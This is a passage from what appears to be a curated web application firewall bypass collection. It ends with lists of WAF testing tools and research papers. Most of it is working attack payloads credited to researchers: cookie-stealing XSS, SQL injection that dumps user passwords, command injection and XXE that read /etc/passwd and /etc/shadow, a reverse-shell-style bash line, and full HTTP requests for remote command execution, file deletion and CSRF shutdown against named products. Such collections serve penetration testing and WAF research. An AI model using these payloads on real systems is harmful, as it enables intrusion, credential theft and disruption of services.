ri	pt:\u0061\u006C\u0065\u0072\u0074(this['document']['cookie'])">X</a>`
- XSS Bypass by @Ahmet Ümit
<--`<img/src=` onerror=confirm``> --!>
javascript:{alert`0`}
<base href=//knoxss.me?
- XSS Bypass by @RenwaX23 (Chrome only)
<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x
cat$u+/etc$u/passwd$u
/bin$u/bash$u <ip> <port>
";cat+/etc/passwd+#
<a69/onclick=[1].findIndex(alert)>pew
- XSS Bypass by @0xInfection
<input/oninput='new Function`confir\u006d\`0\``'>
<p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme
- SQLi by @WAFNinja
0 union/**/select 1,version(),@@datadir
- Firewall disable by (v5.0) by @hyp3rlinx
PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>
- Remote Command Execution (v3.8-5) by @John Dos
POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15
- Persistent XSS (v4.0) by @EnableSecurity
GET /c?a=<script> HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<script>alert(1)</script>: aa
Keep-Alive: 300
- R-XSS Bypass by @WAFNinja
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
- XSS Bypass by @0xInfection
<p draggable=True ondragstart=prompt()>alert
<bleh/ondragstart=	parent	['open']	()%20draggable=True>dragme
<a69/onclick=[1].findIndex(alert)>click
- GET - XSS Bypass (v4.02) by @DavidK
/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)" />
- POST - XSS Bypass (v4.02) by @DavidK
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source)" />
claveXSS (v4.02) by @DavidK
/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{
pcre_expressionunvaidated XSS by @Benjamin Mejri
/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0
- CSP Bypass by @Binar10
POST Type Query
POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>
var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>
GET Type Query
http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>
- XSS Bypass by @WAFNinja
<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>
- XSS Bypass by @WAFNinja
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
- XSS Bypass by @Aatif Khan
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)“>
https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+
- POST Based XXE by @Anonymous
POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143
<?xml version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>
- Directory Traversal by @Anastasios Monachos
Read Arbitrary File
/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd
Delete Arbitrary File
POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded
_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete
- SQLi Bypass from @Anonymous
state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+
<a href="jav%0Dascript:alert(1)">
;+$u+cat+/etc$u/passwd$u
;+$u+cat+/etc$u/passwd+\#
- RCE Payloads for PL1 and PL2 by @theMiddle (v3.0)
/???/??t+/???/??ss??
- RCE Payloads for PL3 by @theMiddle (v3.0)
/?in/cat+/et?/passw?
- SQLi Bypass by @Johannes Dahse (v2.2)
0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
- SQLi Bypass by @Yuri Goltsev (v2.2)
1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')
- SQLi Bypass by @Ahmad Maulana (v2.2)
1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
- SQLi Bypass by @Travis Lee (v2.2)
amUserId=1 union select username,password,3,4 from users
- SQLi Bypass by @Roberto Salgado (v2.2)
%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
- SQLi Bypass by @Georgi Geshev (v2.2)
1%0bAND(SELECT%0b1%20FROM%20mysql.x)
- SQLi Bypass by @SQLMap Devs (v2.2)
%40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29
- SQLi Bypass by @HackPlayers (v2.2)
%0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201
<input id='a'value='global'><input id='b'value='E'><input 'id='c'value='val'><input id='d'value='aler'><input id='e'value='t(documen'><input id='f'value='t.domain)'><svg+onload[\r\n]=$[a.value+b.value+c.value](d.value+e.value+f.value)><x/onclick=globalThis['\u0070r\u006f'+'mpt']<)>clickme<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click<a69/onclick=write()>pew<details/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"/open>- Imperva SecureSphere 13 - Remote Command Execution by @rsp3ar
- XSS Bypass by @David Y
<svg onload\r\n=$.globalEval("al"+"ert()");>
- XSS Bypass by @Emad Shanab
<svg/onload=self[`aler`%2b`t`]`1`>
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
- XSS Bypass by @WAFNinja
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
- XSS Bypass by @i_bo0om
<iframe/onload='this["src"]="javas	cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>
- XSS Bypass by @c0d3g33k
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
- SQLi Bypass by @DRK1WI
15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'
- SQLi by @Giuseppe D'Amore
stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1
%3Cmarquee%20loop=1%20width=%271%26apos;%27onfinish=self[`al`+`ert`](1)%3E%23leet%3C/marquee%3E
asd"on+<>+onpointerenter%3d"x%3dconfirm,x(cookie)
%2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E
<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"
?"></script><base%20c%3D=href%3Dhttps:\mysite>
- XSS Bypass by @0xInfection
<abc/onmouseenter=confirm%60%60>
%2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E
<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}`>
<marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>
- GET Type CSRF Attack by @Michael Brooks (>= v.2.6.2)
Turn off Proface Machine
<img src=https://host:2000/ajax.html?action=shutdown>
Add a proxy
<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>
- XSS Bypass by @Michael Brooks (>= v.2.6.2)
https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>
- XSS Bypass by @EnableSecurity (>= v2.4)
%3CEvil%20script%20goes%20here%3E=%0AByPass
%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E
- XSS Bypass by @WAFNinja
?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>
<a href=javascript:confirm(1)>
/???/??t+/???/??ss??
;+cat+/e'tc/pass'wd
c\\a\\t+/et\\c/pas\\swd
- XSS Bypass by @Luka
"><input/onauxclick="[1].map(prompt)">
data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
<input type=hidden name=a value="<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>">
<input type=submit></form>
<object/data=javascript:alert()>
<a/href="javascript%0A%0D:alert()>clickme
- Directory Traversal by @ZeQ3uL (<= v3.1) (Only on ASP.NET)
http://host.com/test.asp?file=.%./bla.txt
- Cross Site Scripting by @0xInfection
<a69/onauxclick=open()>rightclickhere
-
Bypassing All Protections Using A Whitelist String by @Osanda Malith
- XSS PoC
http://host.com/?vulnparam=<script>alert()</script>&ithemes-sync-request- LFI PoC
http://host.com/?vulnparam=../../../../../etc/passwd&ithemes-sync-request- SQLi PoC
http://host.com/?vulnparam=1%20unionselect%20@@version,2--&ithemes-sync-request
- Cross Site Scripting by @WAFNinja
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<img src=x onwheel=prompt(1)>
- SQLi by @WAFNinja
0 union(select 1,username,password from(users))
0 union(select 1,@@hostname,@@datadir)
- XSS Bypass by @Aatif Khan (v4.1)
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
- XSS Bypass by @brute Logic
<a href=javascript:alert(1)>
<a href=javascript:alert(1)>
- XSS Bypass by @0xInfection
<a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:/**/alert()/**/>click
http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
- XSS Exploit by @MustLive (>= v3.3.5)
<html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
<input type="hidden" name="email"
value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>
<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>
- Writing method type in lowercase by @i_bo0om
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
- Tabs before method by @i_bo0om
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
- WAFW00F - The ultimate WAF fingerprinting tool with the largest fingerprint database from @EnableSecurity.
- IdentYwaf - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by @stamparm.
- GoTestWAF - A tool to test a WAF's detection logic and bypasses from @wallarm.
- Lightbulb Framework - A WAF testing suite written in Python.
- WAFBench - A WAF performance testing suite by Microsoft.
- WAF Testing Framework - A WAF testing tool by Imperva.
- Framework for Testing WAFs (FTW) - A framework by the OWASP CRS team that helps to provide rigorous tests for WAF rules by using the OWASP Core Ruleset V3 as a baseline.
- WAFNinja - A smart tool which fuzzes and can suggest bypasses for a given WAF by @khalilbijjou.
- WAFTester - Another tool which can obfuscate payloads to bypass WAFs by @Raz0r.
- libinjection-fuzzer - A fuzzer intended for finding
libinjectionbypasses but can be probably used universally. - bypass-firewalls-by-DNS-history - A tool which searches for old DNS records for finding actual site behind the WAF.
- abuse-ssl-bypass-waf - A tool which finds out supported SSL/TLS ciphers and helps in evading WAFs.
- SQLMap Tamper Scripts - Tamper scripts in SQLMap obfuscate payloads which might evade some WAFs.
- Bypass WAF BurpSuite Plugin - A plugin for Burp Suite which adds some request headers so that the requests seem from the internal network.
- enumXFF - Eumerating IPs in X-Forwarded-Headers to bypass 403 restrictions
- AWS Firewall Factory - Deploy, update, and stage your WAFs while managing them centrally via FMS.
Many of the content mentioned above have been taken from some of the following excellent writeups.
- Web Application Firewall (WAF) Evasion Techniques #1 - By @Secjuice.
- Web Application Firewall (WAF) Evasion Techniques #2 - By @Secjuice.
- Web Application Firewall (WAF) Evasion Techniques #3 - By @Secjuice.
- How To Exploit PHP Remotely To Bypass Filters & WAF Rules- By @Secjuice
- ModSecurity SQL Injection Challenge: Lessons Learned - By @SpiderLabs.
- XXE that can Bypass WAF - By @WallArm.
- SQL Injection Bypassing WAF - By @OWASP.
- How To Reverse Engineer A Web Application Firewall Using Regular Expression Reversing - By @SunnyHoi.
- Bypassing Web-Application Firewalls by abusing SSL/TLS - By @0x09AL.
- Request Encoding to Bypass WAFs - By @Soroush Dalili
- WAF Bypass Techniques Using HTTP Standard and Web Servers Behavior from @OWASP.
- Confessions of a WAF Developer: Protocol-Level Evasion of Web App Firewalls from BlackHat USA 12.
- Web Application Firewall - Analysis of Detection Logic from BlackHat.
- Bypassing Browser Security Policies for Fun & Profit from BlackHat.
- Web Application Firewall Bypassing from Positive Technologies.
- Fingerprinting Filter Rules of Web Application Firewalls - Side Channeling Attacks from @UseNix.
- Evading Deep Inspection Systems for Fun and Shell from BlackHat US 13.
- Bypass OWASP CRS && CWAF (WAF Rule Testing - Unrestricted File Upload) from Fools of Security.
- WAFs FTW! A modern devops approach to security testing your WAF from AppSec USA 17.
- Web Application Firewall Bypassing WorkShop from OWASP.
- Bypassing Modern WAF's Exemplified At XSS by Rafay Baloch from Rafay Bloch.
- WTF - WAF Testing Framework from AppSecUSA 13.
- The Death of a Web App Firewall from Brian McHenry.
- Adventures with the WAF from BSides Manchester.
- Bypassing Intrusion Detection Systems from BlackHat.
- Building Your Own WAF as a Service and Forgetting about False Positives from Auscert.
- Protocol Level WAF Evasion - A protocol level WAF evasion techniques and analysis by Qualys.
- Neural Network based WAF for SQLi - A paper about building a neural network based WAF for detecting SQLi attacks.
- Bypassing Web Application Firewalls with HTTP Parameter Pollution - A research paper from Exploit DB about effectively bypassing WAFs via HTTP Parameter Pollution.
- Poking A Hole in the Firewall - A paper by Rafay Baloch about modern firewall analysis.
- Modern WAF Fingerprinting and XSS Filter Bypass - A paper by Rafay Baloch about WAF fingerprinting and bypassing XSS filters.
- WAF Evasion Testing - A WAF evasion testing guide from SANS.
- Side Channel Attacks for Fingerprinting WAF Filter Rules - A paper about how side channel attacks can be utilised to fingerprint firewall filter rules from UseNix Woot'12.
- WASC WAF Evaluation Criteria - A guide for WAF Evaluation from Web Application Security Consortium.
- WAF Evaluation and Analysis - A paper about WAF evaluation and analysis of 2 most used WAFs (ModSecurity & WebKnight) from University of Amsterdam.
- Bypassing all WAF XSS Filters - A paper about bypassing all XSS filter rules and evading WAFs for XSS.
- Beyond SQLi - Obfuscate and Bypass WAFs - A research paper from Exploit Database about obfuscating SQL injection queries to effectively bypass WAFs.
- Bypassing WAF XSS Detection Mechanisms - A research paper about bypassing XSS detection mechanisms in WAFs.
- Methods to Bypass a Web Application Firewall - A presentation from PT Security about bypassing WAF filters and evasion.
- Web Application Firewall Bypassing (How to Defeat the Blue Team) - A presentation about bypassing WAF filtering and ruleset fuzzing for evasion by @OWASP.
- WAF Profiling & Evasion Techniques - A WAF testing and evasion guide from OWASP.
- Protocol Level WAF Evasion Techniques - A presentation at about efficiently evading WAFs at protocol level from BlackHat US 12.
- Analysing Attacking Detection Logic Mechanisms - A presentation about WAF logic applied to detecting attacks from BlackHat US 16.
- WAF Bypasses and PHP Exploits - A presentation about evading WAFs and developing related PHP exploits.
- Side Channel Attacks for Fingerprinting WAF Filter Rules - A presentation about how side channel attacks can be utilised to fingerprint firewall filter rules from UseNix Woot'12.
- Our Favorite XSS Filters/IDS and how to Attack Them - A presentation about how to evade XSS filters set by WAF rules from BlackHat USA 09.
- Playing Around with WAFs - A small presentation about WAF profiling and playing around with them from Defcon 16.
- A Forgotten HTTP Invisibility Cloak - A presentation about techniques that can be used to bypass common WAFs from BSides Manchester.
- Building Your Own WAF as a Service and Forgetting about False Positives - A presentation about how to build a hybrid mode waf that can work both in an out-of-band manner as well as inline to reduce false positives and latency Auscert2019.
MIT License & cc license
This work is licensed under a Creative Commons Attribution 4.0 International License.
To the extent possible under law, Paul Veillard has waived all copyright and related or neighboring rights to this work.